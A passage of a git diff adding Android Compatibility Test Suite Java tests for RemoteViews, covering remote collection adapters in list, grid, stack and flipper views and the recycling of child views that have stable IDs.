+                .addItem(10 /* id= */, item0)
+                .addItem(11 /* id= */, item1)
+                .addItem(12 /* id= */, item2)
+                .build();
+
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule,
+                () -> mRemoteViews.reapply(mActivity, mView), true);
+
+        Adapter adapter = listView.getAdapter();
+        assertEquals(3, adapter.getCount());
+        assertEquals(2, adapter.getViewTypeCount());
+        assertEquals(adapter.getItemViewType(0), adapter.getItemViewType(1));
+        assertNotEquals(adapter.getItemViewType(0), adapter.getItemViewType(2));
+        assertEquals(10, adapter.getItemId(0));
+        assertEquals(11, adapter.getItemId(1));
+        assertEquals(12, adapter.getItemId(2));
+        assertTrue(adapter.hasStableIds());
+
+        assertEquals(3, listView.getChildCount());
+        TextView textView0 = (TextView) listView.getChildAt(0);
+        TextView textView1 = (TextView) listView.getChildAt(1);
+        CompoundButton checkBox2 =
+                (CompoundButton) ((ViewGroup) listView.getChildAt(2)).getChildAt(0);
+        assertEquals("Hello", textView0.getText());
+        assertEquals("World", textView1.getText());
+        assertEquals("Checkbox", checkBox2.getText());
+        assertTrue(checkBox2.isChecked());
+
+        // View being checked to false should launch the intent.
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mActivity, mView));
+        mActivityRule.runOnUiThread(() -> checkBox2.setChecked(false));
+        mInstrumentation.waitForIdleSync();
+        assertNotNull(receiver.mIntent);
+        assertFalse(receiver.mIntent.getBooleanExtra(RemoteViews.EXTRA_CHECKED, true));
+        assertEquals(42, receiver.mIntent.getIntExtra("my-extra", 0));
+    }
+
+    @Test
+    public void testSetRemoteAdapter_newViewTypeAddedCoveredByViewTypeCount() {
+        ListView listView = mView.findViewById(R.id.remoteView_list);
+
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
+                .setViewTypeCount(2)
+                .build();
+
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        Adapter initialAdapter = listView.getAdapter();
+        TextView initialFirstItemView = (TextView) listView.getChildAt(0);
+        int initialFirstItemViewType = initialAdapter.getItemViewType(0);
+
+        items = new RemoteCollectionItems.Builder()
+                .addItem(8 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.checkbox_layout))
+                .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
+                .setViewTypeCount(2)
+                .build();
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        // The adapter should have been reused and simply updated. The view type for the first
+        // layoutId should have been maintained (as 0) and the next view type assigned to the
+        // checkbox layout. The view for the row should have been recycled without inflating a new
+        // view.
+        assertSame(initialAdapter, listView.getAdapter());
+        assertSame(initialFirstItemView, listView.getChildAt(1));
+        assertEquals(initialFirstItemViewType, listView.getAdapter().getItemViewType(1));
+        assertNotEquals(initialFirstItemViewType, listView.getAdapter().getItemViewType(0));
+    }
+
+    @Test
+    public void testSetRemoteAdapter_newViewTypeAddedToIncreaseViewTypeCount() {
+        ListView listView = mView.findViewById(R.id.remoteView_list);
+
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
+                .build();
+
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        Adapter initialAdapter = listView.getAdapter();
+        TextView initialFirstItemView = (TextView) listView.getChildAt(0);
+
+        items = new RemoteCollectionItems.Builder()
+                .addItem(8 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.checkbox_layout))
+                .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
+                .build();
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        // The adapter should have been replaced, which is required when the view type increases.
+        assertEquals(2, listView.getAdapter().getViewTypeCount());
+        assertNotSame(initialAdapter, listView.getAdapter());
+        assertNotSame(initialFirstItemView, listView.getChildAt(1));
+    }
+
+    @Test
+    public void testSetRemoteAdapter_viewTypeRemoved_viewTypeCountSame() {
+        ListView listView = mView.findViewById(R.id.remoteView_list);
+
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .addItem(8 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.checkbox_layout))
+                .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
+                .setViewTypeCount(2)
+                .build();
+
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        Adapter initialAdapter = listView.getAdapter();
+        TextView initialSecondItemView = (TextView) listView.getChildAt(1);
+        assertEquals(1, initialAdapter.getItemViewType(1));
+
+        items = new RemoteCollectionItems.Builder()
+                .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
+                .setViewTypeCount(2)
+                .build();
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        // The adapter should have been kept, and the second item should have maintained its view
+        // type of 1 even though its now the only view type.
+        assertEquals(2, listView.getAdapter().getViewTypeCount());
+        assertSame(initialAdapter, listView.getAdapter());
+        assertSame(initialSecondItemView, listView.getChildAt(0));
+        assertEquals(1, listView.getAdapter().getItemViewType(0));
+    }
+
+    @Test
+    public void testSetRemoteAdapter_viewTypeRemoved_viewTypeCountLowered() {
+        ListView listView = mView.findViewById(R.id.remoteView_list);
+
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .addItem(8 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.checkbox_layout))
+                .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
+                .build();
+
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        Adapter initialAdapter = listView.getAdapter();
+        TextView initialSecondItemView = (TextView) listView.getChildAt(1);
+        assertEquals(1, initialAdapter.getItemViewType(1));
+
+        items = new RemoteCollectionItems.Builder()
+                .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
+                .build();
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        // The adapter should have been kept, and kept its higher view count to allow for views to
+        // be recycled.
+        assertEquals(2, listView.getAdapter().getViewTypeCount());
+        assertSame(initialAdapter, listView.getAdapter());
+        assertSame(initialSecondItemView, listView.getChildAt(0));
+        assertEquals(1, listView.getAdapter().getItemViewType(0));
+    }
+
+    @Test
+    public void testSetRemoteAdapter_gridView() {
+        RemoteViews item0 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item0.setViewLayoutWidth(android.R.id.text1, 100, TypedValue.COMPLEX_UNIT_DIP);
+        item0.setTextViewText(android.R.id.text1, "Hello");
+
+        RemoteViews item1 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item0.setViewLayoutWidth(android.R.id.text1, 100, TypedValue.COMPLEX_UNIT_DIP);
+        item1.setTextViewText(android.R.id.text1, "World");
+
+        RemoteViews item2 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item2.setViewLayoutWidth(android.R.id.text1, 100, TypedValue.COMPLEX_UNIT_DIP);
+        item2.setTextViewText(android.R.id.text1, "Hola");
+
+        RemoteViews item3 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item3.setViewLayoutWidth(android.R.id.text1, 100, TypedValue.COMPLEX_UNIT_DIP);
+        item3.setTextViewText(android.R.id.text1, "Mundo");
+
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .addItem(10 /* id= */, item0)
+                .addItem(11 /* id= */, item1)
+                .addItem(12 /* id= */, item2)
+                .addItem(13 /* id= */, item3)
+                .build();
+
+        runOnMainAndDrawSync(
+                mActivityRule,
+                mGridView, () -> {
+                    mListView.setVisibility(View.GONE);
+                    mGridView.setVisibility(View.VISIBLE);
+                    mRemoteViews.setRemoteAdapter(R.id.remoteView_grid, items);
+                    mRemoteViews.reapply(mActivity, mView);
+                });
+
+        Adapter adapter = mGridView.getAdapter();
+        assertEquals(4, adapter.getCount());
+        assertEquals(1, adapter.getViewTypeCount());
+        assertEquals(adapter.getItemViewType(0), adapter.getItemViewType(1));
+        assertEquals(10, adapter.getItemId(0));
+        assertEquals(11, adapter.getItemId(1));
+        assertEquals(12, adapter.getItemId(2));
+        assertEquals(13, adapter.getItemId(3));
+
+        assertEquals(4, mGridView.getChildCount());
+        TextView textView0 = (TextView) mGridView.getChildAt(0);
+        TextView textView1 = (TextView) mGridView.getChildAt(1);
+        TextView textView2 = (TextView) mGridView.getChildAt(2);
+        TextView textView3 = (TextView) mGridView.getChildAt(3);
+        assertEquals("Hello", textView0.getText());
+        assertEquals("World", textView1.getText());
+        assertEquals("Hola", textView2.getText());
+        assertEquals("Mundo", textView3.getText());
+    }
+
+    @Test
+    public void testSetRemoteAdapter_stackView() {
+        RemoteViews item0 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item0.setTextViewText(android.R.id.text1, "Hello");
+
+        RemoteViews item1 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item1.setTextViewText(android.R.id.text1, "World");
+
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .addItem(10 /* id= */, item0)
+                .addItem(11 /* id= */, item1)
+                .build();
+
+        runOnMainAndDrawSync(
+                mActivityRule,
+                mStackView, () -> {
+                    mListView.setVisibility(View.GONE);
+                    mStackView.setVisibility(View.VISIBLE);
+                    mRemoteViews.setRemoteAdapter(R.id.remoteView_stack, items);
+                    mRemoteViews.reapply(mActivity, mView);
+                });
+
+        Adapter adapter = mStackView.getAdapter();
+        assertEquals(2, adapter.getCount());
+        assertEquals(1, adapter.getViewTypeCount());
+        assertEquals(adapter.getItemViewType(0), adapter.getItemViewType(1));
+        assertEquals(10, adapter.getItemId(0));
+        assertEquals(11, adapter.getItemId(1));
+    }
+
+    @Test
+    public void testSetRemoteAdapter_viewFlipper() {
+        RemoteViews item0 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item0.setTextViewText(android.R.id.text1, "Hello");
+
+        RemoteViews item1 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item1.setTextViewText(android.R.id.text1, "World");
+
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .addItem(10 /* id= */, item0)
+                .addItem(11 /* id= */, item1)
+                .build();
+
+        runOnMainAndDrawSync(
+                mActivityRule,
+                mAdapterViewFlipper, () -> {
+                    mListView.setVisibility(View.GONE);
+                    mAdapterViewFlipper.setVisibility(View.VISIBLE);
+                    mRemoteViews.setRemoteAdapter(R.id.remoteView_flipper, items);
+                    mRemoteViews.reapply(mActivity, mView);
+                });
+
+        Adapter adapter = mAdapterViewFlipper.getAdapter();
+        assertEquals(2, adapter.getCount());
+        assertEquals(1, adapter.getViewTypeCount());
+        assertEquals(adapter.getItemViewType(0), adapter.getItemViewType(1));
+        assertEquals(10, adapter.getItemId(0));
+        assertEquals(11, adapter.getItemId(1));
+    }
+
+    private static final class MockBroadcastReceiver extends BroadcastReceiver {
+
+        Intent mIntent;
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mIntent = intent;
+        }
+    }
+
+}
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
new file mode 100644
index 0000000..0202dde
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
@@ -0,0 +1,461 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.RemoteViews;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Test {@link RemoteViews} recycling when adding views dynamically.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RemoteViewsRecyclingTest {
+    private static final String PACKAGE_NAME = "android.widget.cts";
+    private static final int LAYOUT_ID = 1;
+    private static final int FIRST_TEXT_ID = 2;
+    private static final int MIDDLE_TEXT_ID = 3;
+    private static final int AFTER_TEXT_ID = 4;
+    private static final int END_TEXT1_ID = 5;
+    private static final int END_TEXT2_ID = 6;
+
+    @Rule
+    public ActivityTestRule<RemoteViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RemoteViewsCtsActivity.class);
+
+    @Rule
+    public ExpectedException mExpectedException = ExpectedException.none();
+
+    private Instrumentation mInstrumentation;
+
+    private Context mContext;
+
+    private View mResult;
+
+    private Executor mExecutor = runnable -> runnable.run();
+
+    @UiThreadTest
+    @Before
+    public void setUp() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+    }
+
+    private void recycleWhenIdentical(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        rv.addStableView(R.id.remoteViews_recycle_container,
+                createRemoteViews(R.layout.remoteviews_textview, View.NO_ID), FIRST_TEXT_ID
+        );
+        rv.addView(R.id.remoteViews_recycle_container,
+                createRemoteViews(R.layout.remoteviews_textview, View.NO_ID));
+        rv.addStableView(R.id.remoteViews_recycle_container,
+                createRemoteViews(R.layout.remoteviews_textview), AFTER_TEXT_ID
+        );
+        applyRemoteViews(rv);
+        ViewGroup container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        View text1 = container.getChildAt(0);
+        View text2 = container.getChildAt(1);
+        View text3 = container.getChildAt(2);
+
+        reapplyRemoteViews(rv, async);
+
+        container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        assertNotNull(container);
+        assertSame("TextViews with stable id FIRST_TEXT_ID", text1, container.getChildAt(0));
+        assertNotSame("TextViews without stable id", text2, container.getChildAt(1));
+        assertSame("TextViews with stable id AFTER_TEXT_ID", text3, container.getChildAt(2));
+        assertEquals(3, container.getChildCount());
+    }
+
+    @Test
+    public void recycleWhenIdenticalSync() throws Throwable {
+        recycleWhenIdentical(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenIdenticalAsync() throws Throwable {
+        recycleWhenIdentical(false /* async */);
+    }
+
+    private void doesntRecycleWhenNotAskingForRecycling(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        addTextsWithoutStableIds(rv, R.id.remoteViews_recycle_container, false /* insertInMiddle */,
+                false /* addAtEnd */);
+        applyRemoteViews(rv);
+        ViewGroup container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        View text1 = container.getChildAt(0);
+        View text2 = container.getChildAt(1);
+
+        reapplyRemoteViews(rv, async);
+
+        container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        assertNotNull(container);
+        assertNotSame("TextViews with stable id FIRST_TEXT_ID", text1, container.getChildAt(0));
+        assertNotSame("TextViews with stable id AFTER_TEXT_ID", text2, container.getChildAt(1));
+        assertEquals(2, container.getChildCount());
+    }
+
+    @Test
+    public void doesntRecycleWhenNotAskingForRecyclingSync() throws Throwable {
+        doesntRecycleWhenNotAskingForRecycling(false /* async */);
+    }
+
+    @Test
+    public void doesntRecycleWhenNotAskingForRecyclingAsync() throws Throwable {
+        doesntRecycleWhenNotAskingForRecycling(true /* async */);
+    }
+
+    private void recycleWhenInsertView(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, false /* insertInMiddle */,
+                false /* addAtEnd */);
+        applyRemoteViews(rv);
+        ViewGroup container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        View text1 = container.getChildAt(0);
+        View text2 = container.getChildAt(1);
+
+        rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, true /* insertInMiddle */,
+                false /* addAtEnd */);
+        reapplyRemoteViews(rv, async);
+
+        container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        assertNotNull(container);
+        assertNotNull(container.getChildAt(1));
+        assertSame("TextViews with stable id FIRST_TEXT_ID", text1, container.getChildAt(0));
+        assertSame("TextViews with stable id AFTER_TEXT_ID", text2, container.getChildAt(2));
+        assertNotNull(container);
+        assertEquals(3, container.getChildCount());
+    }
+
+    @Test
+    public void recycleWhenInsertViewSync() throws Throwable {
+        recycleWhenInsertView(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenInsertViewAsync() throws Throwable {
+        recycleWhenInsertView(true /* async */);
+    }
+
+    private void recycleWhenRemovingMiddleView(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, true /* insertInMiddle */,
+                false /* addAtEnd */);
+        applyRemoteViews(rv);
+        ViewGroup container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        View text1 = container.getChildAt(0);
+        View text2 = container.getChildAt(2);
+
+        rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, false /* insertInMiddle */,
+                false /* addAtEnd */);
+        reapplyRemoteViews(rv, async);
+
+        container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        assertNotNull(container);
+        assertSame("TextViews with stable id FIRST_TEXT_ID", text1, container.getChildAt(0));
+        assertSame("TextViews with stable id AFTER_TEXT_ID", text2, container.getChildAt(1));
+        assertEquals(2, container.getChildCount());
+    }
+
+    @Test
+    public void recycleWhenRemovingMiddleViewSync() throws Throwable {
+        recycleWhenRemovingMiddleView(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenRemovingMiddleViewAsync() throws Throwable {
+        recycleWhenRemovingMiddleView(true /* async */);
+    }
+
+    private void recycleWhenAddingAtEnd(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, false /* insertInMiddle */,
+                false /* addAtEnd */);
+        applyRemoteViews(rv);
+        ViewGroup container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        View text1 = container.getChildAt(0);
+        View text2 = container.getChildAt(1);
+
+        rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, false /* insertInMiddle */,
+                true /* addAtEnd */);
+        reapplyRemoteViews(rv, async);
+
+        container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        assertNotNull(container);
+        assertSame("TextViews with stable id FIRST_TEXT_ID", text1, container.getChildAt(0));
+        assertSame("TextViews with stable id AFTER_TEXT_ID", text2, container.getChildAt(1));
+        assertEquals(4, container.getChildCount());
+    }
+
+    @Test
+    public void recycleWhenAddingAtEndSync() throws Throwable {
+        recycleWhenAddingAtEnd(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenAddingAtEndAsync() throws Throwable {
+        recycleWhenAddingAtEnd(true /* async */);
+    }
+
+    private void recycleWhenRemovingFromEnd(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, false /* insertInMiddle */,
+                true /* addAtEnd */);
+        applyRemoteViews(rv);
+        ViewGroup container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        View text1 = container.getChildAt(0);
+        View text2 = container.getChildAt(1);
+
+        rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, false /* insertInMiddle */,
+                false /* addAtEnd */);
+        reapplyRemoteViews(rv, async);
+
+        container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        assertNotNull(container);
+        assertSame("TextViews with stable id FIRST_TEXT_ID", text1, container.getChildAt(0));
+        assertSame("TextViews with stable id AFTER_TEXT_ID", text2, container.getChildAt(1));
+        assertEquals(2, container.getChildCount());
+    }
+
+    @Test
+    public void recycleWhenRemovingFromEndSync() throws Throwable {
+        recycleWhenRemovingFromEnd(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenRemovingFromEndAsync() throws Throwable {
+        recycleWhenRemovingFromEnd(true /* async */);
+    }
+
+    private void doesntRecycleWhenLayoutDoesntMatch(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        rv.addStableView(R.id.remoteViews_recycle_container,
+                createRemoteViews(R.layout.remoteviews_textview), FIRST_TEXT_ID);
+        applyRemoteViews(rv);
+        ViewGroup container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        View text = container.getChildAt(0);
+
+        rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        rv.addStableView(R.id.remoteViews_recycle_container,
+                createRemoteViews(R.layout.remoteviews_container), FIRST_TEXT_ID);
+        reapplyRemoteViews(rv, async);
+
+        container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        assertNotNull(container);
+        assertNotNull(container.getChildAt(0));
+        assertNotSame("TextViews", text, container.getChildAt(0));
+        assertEquals(1, container.getChildCount());
+    }
+
+    @Test
+    public void doesntRecycleWhenLayoutDoesntMatchSync() throws Throwable {
+        doesntRecycleWhenLayoutDoesntMatch(false /* async */);
+    }
+
+    @Test
+    public void doesntRecycleWhenLayoutDoesntMatchAsync() throws Throwable {
+        doesntRecycleWhenLayoutDoesntMatch(true /* async */);
+    }
+
+    private void doesntRecycleWhenViewIdDoesntMatch(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        RemoteViews childView = createRemoteViews(R.layout.remoteviews_textview, 2345);
+        rv.addStableView(R.id.remoteViews_recycle_container, childView, FIRST_TEXT_ID);
+        applyRemoteViews(rv);
+        ViewGroup container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        View text = container.getChildAt(0);
+
+        rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        childView = createRemoteViews(R.layout.remoteviews_textview, 3456);
+        rv.addStableView(R.id.remoteViews_recycle_container, childView, FIRST_TEXT_ID);
+        applyRemoteViews(rv);
+        reapplyRemoteViews(rv, async);
+
+        container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        assertNotSame("TextViews", text, container.getChildAt(0));
+    }
+
+    @Test
+    public void doesntRecycleWhenViewIdDoesntMatchSync() throws Throwable {
+        doesntRecycleWhenViewIdDoesntMatch(false /* async */);
+    }
+
+    @Test
+    public void doesntRecycleWhenViewIdDoesntMatchAsync() throws Throwable {
+        doesntRecycleWhenViewIdDoesntMatch(true /* async */);
+    }
+
+    private void recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevels(boolean async)
+            throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        rv.addStableView(R.id.remoteViews_recycle_container,
+                createRemoteViews(R.layout.remoteviews_container), LAYOUT_ID);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, false /* insertInMiddle */,
+                true /* addAtEnd */);
+        rv.removeAllViews(R.id.remoteView_container);
+        addTextsWithStableIds(rv, R.id.remoteView_container, false /* insertInMiddle */,
+                true /* addAtEnd */);
+        applyRemoteViews(rv);
+        ViewGroup container = mResult.findViewById(R.id.remoteViews_recycle_container);
+        ViewGroup container2 = (ViewGroup) container.getChildAt(0);
+        View text1 = container.getChildAt(1);
+        View text2 = container.getChildAt(2);
+        View text3 = container2.getChildAt(0);
+        View text4 = container2.getChildAt(1);
+
+        rv = createRemoteViews(R.layout.remoteviews_recycle);
+        rv.removeAllViews(R.id.remoteViews_recycle_container);
+        rv.addStableView(R.id.remoteViews_recycle_container,
+                createRemoteViews(R.layout.remoteviews_container), LAYOUT_ID);
+        addTextsWithStableIds(rv, R.id.remoteViews_recycle_container, true /* insertInMiddle */,
+                false /* addAtEnd */);
+        rv.removeAllViews(R.id.remoteView_container);
+        addTextsWithStableIds(rv, R.id.remoteView_container, true /* insertInMiddle */,
+                false /* addAtEnd */);
+        reapplyRemoteViews(rv, async);
+
+        assertNotNull(container);
+        assertNotNull(container2);
+        assertSame("ViewGroup with stable id LAYOUT_ID", container2, container.getChildAt(0));
+        assertSame("TextViews with stable id FIRST_TEXT_ID", text1, container.getChildAt(1));
+        assertSame("TextViews with stable id AFTER_TEXT_ID", text2, container.getChildAt(3));
+        assertSame("TextViews with stable id FIRST_TEXT_ID", text3, container2.getChildAt(0));
+        assertSame("TextViews with stable id AFTER_TEXT_ID", text4, container2.getChildAt(2));
+        assertEquals(4, container.getChildCount());
+        assertEquals(3, container2.getChildCount());
+    }
+
+    @Test
+    public void recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevelsSync() throws Throwable {
+        recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevels(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevelsAsync() throws Throwable {
+        recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevels(true /* async */);
+    }
+
+    private void applyRemoteViews(RemoteViews remoteViews) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mResult = remoteViews.apply(mContext, null);
+            // Add our host view to the activity behind this test. This is similar to how launchers
+            // add widgets to the on-screen UI.
+            ViewGroup root = mActivityRule.getActivity().findViewById(R.id.remoteView_host);
+            root.removeAllViews();
+            FrameLayout.MarginLayoutParams lp = new FrameLayout.MarginLayoutParams(
+                    ViewGroup.LayoutParams.MATCH_PARENT,
+                    ViewGroup.LayoutParams.MATCH_PARENT);
+            mResult.setLayoutParams(lp);
+
+            root.addView(mResult);
+        });
+    }
+
+    private void reapplyRemoteViews(RemoteViews remoteViews, boolean async) throws Throwable {
+        if (async) {
+            mActivityRule.runOnUiThread(
+                    () -> remoteViews.reapplyAsync(mContext, mResult, null, null));
+            Thread.sleep(100); // Wait for the UI to be updated
+        } else {
+            mActivityRule.runOnUiThread(() -> remoteViews.reapply(mContext, mResult));
+        }
+    }
+
+    private RemoteViews createRemoteViews(int layout) {
+        return new RemoteViews(PACKAGE_NAME, layout);
+    }
+
+    private RemoteViews createRemoteViews(int layout, int viewId) {
+        return new RemoteViews(PACKAGE_NAME, layout, viewId);
+    }
+
+    private void addTextsWithStableIds(RemoteViews views, int layoutId, boolean insertInMiddle,
+            boolean addAtEnd) {
+        views.addStableView(layoutId, createRemoteViews(R.layout.remoteviews_textview),
+                FIRST_TEXT_ID);
+        if (insertInMiddle) {
+            views.addStableView(layoutId,
+                    createRemoteViews(R.layout.remoteviews_textview, View.NO_ID),
+                    MIDDLE_TEXT_ID);
+        }
+        views.addStableView(layoutId, createRemoteViews(R.layout.remoteviews_textview),
+                AFTER_TEXT_ID);
+        if (addAtEnd) {
+            views.addStableView(layoutId,
+                    createRemoteViews(R.layout.remoteviews_textview, View.NO_ID),
+                    END_TEXT1_ID);
+            views.addStableView(layoutId,
+                    createRemoteViews(R.layout.remoteviews_textview, View.NO_ID),
+                    END_TEXT2_ID);
+        }
+    }
+
+    private void addTextsWithoutStableIds(RemoteViews views, int layoutId, boolean insertInMiddle,
+            boolean addAtEnd) {
